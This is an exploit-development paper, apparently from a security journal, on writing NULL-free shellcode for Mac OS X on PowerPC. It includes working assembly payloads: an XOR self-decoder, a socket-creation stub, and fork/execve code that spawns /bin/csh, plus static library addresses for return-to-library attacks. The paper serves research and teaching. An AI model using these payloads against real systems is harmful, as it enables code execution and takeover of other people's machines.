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Chapter 1

Foreword

Abstract: Developing shellcode for Mac OS X is not particularly difficult, but
there are a number of tips and techniques that can make the process easier and
more effective. The independent data and instruction caches of the PowerPC
processor can cause a variety of problems with exploit and shellcode develop-
ment. The common practice of patching opcodes at run-time is much more
involved when the instruction cache is in incoherent mode. NULL-free shell-
code can be improved by taking advantage of index registers and the reserved
bits found in many opcodes, saving space otherwise taken by standard NULL
evasion techniques. The Mac OS X operating system introduces a few challenges
to unsuspecting developers; system calls change their return address based on
whether they succeed and oddities in the Darwin kernel can prevent standard
execve() shellcode from working properly with a threaded process. The vir-
tual memory layout on Mac OS X can be abused to overcome instruction cache
obstacles and develop even smaller shellcode.

Thanks: The author would like to thank B-r00t, Dino Dai Zovi, LSD, Palante,
Optyx, and the entire Uninformed Journal staff.
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Chapter 2

Introduction

With the introduction of Mac OS X, Apple has been viewed with mixed feelings
by the security community. On one hand, the BSD core offers the familiar Unix
security model that security veterans already understand. On the other, the
amount of proprietary extensions, network-enabled software, and growing mass
of advisories is giving some a cause for concern. Exploiting buffer overflows,
format strings, and other memory-corruption vulnerabilities on Mac OS X is a
bit different from what most exploit developers are familiar with. The incoherent
instruction cache, combined with the RISC fixed-length instruction set, raises
the bar for exploit and payload developers.

On September 12th of 2003, B-r00t published a paper titled ”Smashing the Mac
for Fun and Profit”. B-root’s paper covered the basics of Mac OS X shellcode
development and built on the PowerPC work by LSD, Palante, and Ghandi.
This paper is an attempt to extend, rather than replace, the material already
available on writing shellcode for the Mac OS X operating system. The first
section covers the fundamentals of the PowerPC architecture and what you need
to know to start writing shellcode. The second section focuses on avoiding NULL
bytes and other characters through careful use of the PowerPC instruction set.
The third section investigates some of the unique behavior of the Mac OS X
platform and introduces some useful techniques.
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Chapter 3

PowerPC Basics

The PowerPC (PPC) architecture uses a reduced instruction set consisting of
32-bit fixed-width opcodes. Each opcode is exactly four bytes long and can only
be executed by the processor if the opcode is word-aligned in memory.

3.1 Registers

PowerPC processors have thirty-two 32-bit general-purpose registers (r0-r31)1,
thirty-two 64-bit floating-point registers (f0-f31), a link register (lr), a count
register (ctr), and a handful of other registers for tracking things like branch
conditions, integer overflows, and various machine state flags. Some PowerPC
processors also contain a vector-processing unit (AltiVec, etc), which can add
another thirty-two 128-bit registers to the set.

On the Darwin/Mac OS X platform, r0 is used to store the system call number,
r1 is used as a stack pointer, and r3 to r7 are used to pass arguments to a system
call. General-purpose registers between r3 and r12 are considered volatile and
should be preserved before the execution of any system call or library function.

;;
;; Demonstrate execution of the reboot system call
;;
main:
li r0, 55 ; #define SYS_reboot 55
sc

1PowerPC 64-bit processors have 64-bit general-purpose registers, but still use 32-bit op-
codes
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3.2 Branches

Unlike the IA32 platform, PowerPC does not have a call or jmp instruction.
Execution flow is controlled by one of the many branch instructions. A branch
can redirect execution to a relative address, absolute address, or the value stored
in either the link or count registers. Conditional branches are performed based
on one of four bit fields in the condition register. The count register can also
be used as a condition for branching and some instructions will automatically
decrement the count register. A branch instruction can automatically set the
link register to be the address following the branch, which is a very simple way
to get the absolute address of any relative location in memory.

;;
;; Demonstrate GetPC() through a branch and link instruction
;;
main:

xor. r5, r5, r5 ; xor r5 with r5, storing the value in r5
; the condition register is updated by the . modifier

ppcGetPC:
bnel ppcGetPC ; branch if condition is not-equal, which will be false

; the address of ppcGetPC+4 is now in the link register

mflr r5 ; move the link register to r5, which points back here
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3.3 Memory

Memory access on PowerPC is performed through the load and store instruc-
tions. Immediate values can be loaded to a register or stored to a location in
memory, but the immediate value is limited to 16 bits. When using a load in-
struction on a non-immediate value, a base register is used, followed by an offset
from that register to the desired location. Store instructions work in a similar
fashion; the value to be stored is placed into a register, and the store instruction
then writes that value to the destination register plus an offset value.2

Since each PowerPC instruction is 32 bits wide, it is not possible to load a
32-bit address into a register with a single instruction. The standard method
of loading a full 32-bit value requires a load-immediate-shift (lis) followed by
an or-immediate (ori). The first instruction loads the high 16 bits, while the
second loads the lower 16 bits34. This 16-bit limitation also applies to relative
branches and every other instruction that uses an immediate value.

;;
;; Load a 32-bit immediate value and store it to the stack
;;
main:

lis r5, 0x1122 ; load the high bits of the value
; r5 contains 0x11220000

ori r5, r5, 0x3344 ; load the low bits of the value
; r5 now contains 0x11223344

stw r5, 20(r1) ; store this value to SP+20
lwz r3, 20(r1) ; load this value back to r3

2Multi-word memory instructions exist, but are considered bad practice to use, since they
may not be supported in future PowerPC processors.

3Some people prefer to use add-immediate-shift against the r0 general purpose register.
The r0 register has a special property in that anytime it is used for addition or substraction,
it is treated as a zero, regardless of the current value

464-bit PowerPC processors require five separate instructions to load a 32-bit immediate
value into a general-purpose register
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3.4 L1 Cache

The PowerPC processor uses one or more on-chip memory caches to accelerate
access to frequently referenced data and instructions. This cache memory is
separated into a distinct data and instruction cache. Although the data cache
operates in coherent mode on Mac OS X, shellcode developers need to be aware
of how the data cache and the instruction cache interoperate when executing
self-modifying code.

As a superscalar architecture, the PowerPC processor contains multiple exe-
cution units, each of which has a pipeline. The pipeline can be described as
a conveyor belt in a factory; as an instruction moves down the belt, specific
steps are performed. To increase the efficiency of the pipeline, multiple instruc-
tions can put on the belt at the same time, one behind another. The processor
will attempt to predict which direction a branch instruction will take and then
feed the pipeline with instructions from the predicted path. If the prediction
was wrong, the contents of the pipeline are trashed and correct instructions are
loaded into the pipeline instead.

This pipelined execution means that more than one instruction can be processed
at the same time in each execution unit. If one instruction requires the output of
another, a gap can occur in the pipeline while these dependencies are satisfied.
In the case of store instruction, the contents of the data cache will be updated
before the results are flushed back to main memory. If a load instruction is
executed directly after the store, it will obtain the newly-updated value. This
occurs because the load instruction will read the value from the data cache,
where it has already been updated.

The instruction cache is a different beast altogether. On the PowerPC platform,
the instruction cache is incoherent. If an executable region of memory is mod-
ified and that region is already loaded into the instruction cache, the modifed
instructions will not be executed unless the cache is specifically flushed. The
instruction cache is filled from main memory, not the data cache. If you attempt
to modify executable code through a store instruction, flush the cache, and then
attempt to execute that code, there is still a chance that the original, unmodi-
fied code will be executed instead. This can occur because the data cache was
not flushed back to main memory before the instruction cache was filled.

The solution is a bit tricky, you must use the ”dcbf” instruction to invalidate
each block of memory from the data cache, wait for the invalidation to complete
with the ”sync” instruction, and then flush the instruction cache for that block
with ”icbi”. Finally, the ”isync” instruction needs to be executed before the
modified code is actually used. Placing these instructions in any other order may
result in stale data being left in the instruction cache. Due to these restrictions,
self-modifying shellcode on the PowerPC platform is rare and often unreliable.

The example below is a working PowerPC shellcode decoder included with the
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Metasploit Framework (OSXPPCLongXOR).

;;
;; Demonstrate a cache-safe payload decoder
;; Based on Dino Dai Zovi’s PPC decoder (20030821)
;;
main:
xor. r5, r5, r5 ; Ensure that the cr0 flag is always ’equal’
bnel main ; Branch if cr0 is not-equal and link to LMain
mflr r31 ; Move the address of LMain into r31
addi r31, r31, 68+1974 ; 68 = distance from branch -> payload

; 1974 is null eliding constant
subi r5, r5, 1974 ; We need this for the dcbf and icbi
lis r6, 0x9999 ; XOR key = hi16(0x99999999)
ori r6, r6, 0x9999 ; XOR key = lo16(0x99999999)
addi r4, r5, 1974 + 4 ; Move the number of words to code into r4
mtctr r4 ; Set the count register to the word count

xorlp:
lwz r4, -1974(r31) ; Load the encoded word into memory
xor r4, r4, r6 ; XOR this word against our key in r6
stw r4, -1974(r31) ; Store the modified work back to memory
dcbf r5, r31 ; Flush the modified word to main memory
.long 0x7cff04ac ; Wait for the data block flush (sync)
icbi r5, r31 ; Invalidate prefetched block from i-cache

subi r30, r5, -1978 ; Move to next word without using a NULL
add. r31, r31, r30

bdnz- xorlp ; Branch if --count == 0
.long 0x4cff012c ; Wait for i-cache to synchronize (isync)

; Insert XORed payload here
.long (0x7fe00008 ^ 0x99999999)
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Chapter 4

Avoiding NULLs

One of the most common problems encountered with shellcode development
in general and RISC processors in particular is avoiding NULL bytes in the
assembled code. On the IA32 platform, NULL bytes are fairly easy to dodge,
mostly due to the variable-length instruction set and multiple opcodes available
for a given task. Fixed-width opcode architectures, like PowerPC, have fixed
field sizes and often pad those fields with all zero bits. Instructions that have
a set of undefined bits often set these bits to zero as well. The result is that a
many of the available opcodes are impossible to use with NULL-free shellcode
without modification.

On many platforms, self-modifying code can be used to work around NULL
byte restrictions. This technique is not useful for single-instruction patching on
PowerPC, since the instruction pre-fetch and instruction cache can result in the
non-modified instruction being executed instead.

4.1 Undefined Bits

To write interesting shellcode for Mac OS X, you need to use system calls. One
of the first problems encountered with the PowerPC platform is that the system
call instruction assembles to 0x44000002, which contains two NULL bytes. If
we take a look at the IBM PowerPC reference for the ’sc’ instruction, we see
that the bit layout is as follows:

010001 00000 00000 0000 0000000 000 1 0
------ ----- ----- ---- ------- --- - -
A B C D E F G H
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These 32 bits are broken down into eight specific fields. The first field (A),
which is 5 bits wide, must be set to the value 17. The bits that make up B,
C, and D are all marked as undefined. Field E is must either be set to 1 or 0.
Fields F and H are undefined, and G must always be set to 1. We can modify
the undefined bits to anything we like, in order to make the corresponding byte
values NULL-free. The first step is to reorder these bits along byte boundaries
and mark what we are able to change.

? = undefined
# = zero or one
[010001??] [????????] [????0000] [00#???1?]

The first byte of this instruction can be either 68, 69, 70, or 71 (DEFG). The
second byte can be any character at all. The third byte can either be 0, 16, 32,
48, 64, 80, 96, 112, 128, 144, 160, 176, 192, 208, 224, or 240 (which contains
’0’, ’P’, and ’p’, among others). The fourth value can be any of the following
values: 2, 3, 6, 7, 10, 11, 14, 15, 18, 19, 22, 23, 26, 27, 30, 31, 34, 35, 38, 39, 42,
43, 46, 47, 50, 51, 54, 55, 58, 59, 62, 63. As you can see, it is possible to create
thousands of different opcodes that are all treated by the processor as a system
call. The same technique can be applied to almost any other instruction that
has undefined bits.1

;;
;; Patching the undefined bits in the ’sc’ opcode
;;
main:
li r0, 1 ; sys_exit
li r3, 0 ; exit status
.long 0x45585037 ; sc patched as "EXP7"

1Although the current line of PowerPC chips used with Mac OS X seem to ignore the
undefined bits, future processors may actually use these bits. It is entirely possible that
undefined bit abuse can prevent your code from working on newer processors
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4.2 Index Registers

On the PowerPC platform, immediate values are encoded using all 16 bits. If
the assembled value of your immediate contains a NULL, you will need to find
another way to load it into the target register. The most common technique is
to first load a NULL-free value into a register, then substract that value minus
the difference to your immediate.

;;
;; Demonstrate index register usage
;;
main:
li r7, 1999 ; place a NULL-free value into the index
subi r5, r7, 1999-1 ; substract our value minus the target

; the r5 register is now set to 1

If you have a rough idea of the immediate values you will need in your shellcode,
you can take this a step further. Set your initial index register to a value, that
when decremented by the immediate value, actually results in a character of
your choice. If you have two distant ranges (1-10 and 50-60), then consider
using two index registers. The example below demonstrates an index register
that works for the system call number as well as the arguments, leaving the
assembled bytes NULL-free. As you can see, besides the four bytes required to
set the index register, this method does not significantly increase the size of the
code.

;;
;; Create a TCP socket without NULL bytes
;;
main:
li r7, 0x3330 ; 0x38e03330 = NULL-free index value
subi r0, r7, 0x3330-97 ; 0x3807cd31 = system call for sys_socket
subi r3, r7, 0x3330-2 ; 0x3867ccd2 = socket domain
subi r4, r7, 0x3330-1 ; 0x3887ccd1 = socket type
subi r5, r7, 0x3330-6 ; 0x38a7ccd6 = socket protocol
.long 0x45585037 ; patched ’sc’ instruction
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4.3 Branching

Branching to a forward address without using NULL bytes can be tricky on
PowerPC systems. If you try branching forward, but less than 256 bytes, your
opcode will contain a NULL. If you obtain your current address and want to
branch to an offset from it, you will need to place the target address into the
count register (ctr) or the link register (lr). If you decide to use the link register,
you will notice that every valid form of ”blr” has a NULL byte. You can avoid
the NULL byte by setting the branch hint bits (19-20) to ”11” (unpredictable
branch, do not optimize). The resulting opcode becomes 0x4e804820 instead of
0x4e800020 for the standard ”blr” instruction.

The branch prediction bit (bit 10) can also come in handy, it is useful if you
need to change the second byte of the branch instruction to a different character.
The prediction bit tells the processor how likely it is that the instruction will
result in a branch. To specify the branch prediction bit in the assembly source,
just place ’-’ or ’+’ after the branch instruction.

12



Chapter 5

Mac OS X Tricks

This section describes a handful of tips and tricks for writing shellcode on the
Mac OS X platform.

5.1 Diagnostic Tools

Mac OS X includes a solid collection of development and diagnostic tools, many
of which are invaluable for shellcode and exploit development. The list below
describes some of the most commonly used tools and how they relate to shellcode
development.

• Xcode: This package includes ’gdb’, ’gcc’, and ’as’. Sadly, objdump is not
included and most disassembly needs to be done with ’gdb’ or ’otool’.

• ktrace: The ktrace and kdump tools are equivalent to strace on Linux and
truss on Solaris. There is no better tool for quickly diagnosing shellcode
bugs.

• vmmap: If you were looking for the equivalent of /proc/pid/maps, you
found it. Use vmmap to figure out where the heaps, libraries, and stacks
are mapped.

• crashreporterd: This daemon runs by default and creates very nice crash
dumps when a system service dies. Invaluable for finding 0-day in Mac OS
X services. The crashdump logs can be found in /Library/Logs/CrashReporter.

• heap: Quickly list all active heaps in a process. This can be handy when
the instruction cache prevents a direct return and you need to find an
alternate shellcode location.
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• otool: List all libraries linked to a given binary, disassemble mach-o bina-
ries, and display the contents of any section of an executable or library.
This is the equivalent of ’ldd’ and ’objdump’ rolled into a single utility.

5.2 System Call Failure

An interesting feature of Mac OS X is that a successful system call will return to
the address 4 bytes after the end of ’sc’ instruction and a failed system call will
return directly after the ’sc’ instruction. This allows you to execute a specific
instruction only when the system call fails. The most common application of
this feature is to branch to an error handler, although it can also be used to set
a flag or a return value. When writing shellcode, this feature is usually more
annoying than anything else, since it boosts the size of your code by four bytes
per system call. In some cases though, this feature can be used to shave an
instruction or two off the final payload.
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5.3 Threads and Execve

Mac OS X has an undocumented behavior concerning the execve() system call
inside a threaded process. If a process tries to call execve() and has more than
one active thread, the kernel returns the error EOPNOTSUPP. After a closer
look at kern exec.c in the Darwin XNU source code, it becomes apparent that
for shellcode to function properly inside a threaded process, it will need to call
either fork() or vfork() before calling execve().

;;
;; Fork and execute a command shell
;;
main:
_fork:

li r0, 2
sc
b _exitproc

_execsh: ; based on ghandi’s execve
xor. r5, r5, r5
bnel _execsh
mflr r3
addi r3, r3, 32 ; 32
stw r3, -8(r1) ; argv[0] = path
stw r5, -4(r1) ; argv[1] = NULL
subi r4, r1, 8 ; r4 = {path, 0}
li r0, 59
sc ; execve(path, argv, NULL)
b _exitproc

_path:
.ascii "/bin/csh" ; csh handles seteuid() for us
.long 0

_exitproc:
li r0, 1
li r3, 0
sc
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5.4 Shared Libraries

The Mac OS X user community tends to have one thing in common – they keep
their systems up to date. The Apple Software Update service, once enabled, is
very insistent about installing new software releases as they become available.
The result is that nearly every single Mac OS X system has the exact same
binaries. System libraries are often loaded at the exact same virtual address
across all applications. In this sense, Mac OS X is starting to resemble the
Windows platform.

If all processes on all Mac OS X system have the same virtual addresses for the
same libraries, Windows-style shellcode starts to become possible. Assuming
you can find the right argument-setting code in a shared library, return-to-
library payloads also become much more feasible. These libraries can be used
as return addresses, similar to how Windows exploits often return back to a
loaded DLL. Some useful addresses are listed below:

• 0x90000000: The base address of the system library (libSystem.B.dylib),
most of the function locations are static across all versions of OS X.

• 0xffff8000: The base address of the ”common” page. A number of useful
functions and instructions can be found here. These functions include
memcpy, sys dcache flush, sys icache invalidate, and bcopy.

The following NULL-free example uses the sys icache invalidate function to
flush 1040 bytes from the instruction cache, starting at the address of the pay-
load:

;;
;; Flush the instruction cache in 32 bytes
;;
main:
_main:
xor. r5, r5, r5
bnel main
mflr r3

;; flush 1040 bytes starting after the branch
li r4, 1024+16

;; 0xffff8520 is __sys_icache_invalidate()
addis r8, r5, hi16(0xffff8520)
ori r8, r8, lo16(0xffff8520)
mtctr r8
bctrl
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Chapter 6

Conclusion

In the first section, we covered the fundamentals of the PowerPC platform and
described the syscall calling convention used on the Darwin/Mac OS X platform.
The second section introduced a few techniques for removing NULL bytes from
some common instructions. In the third section, we presented some of the tools
and techniques that can be useful for shellcode development.
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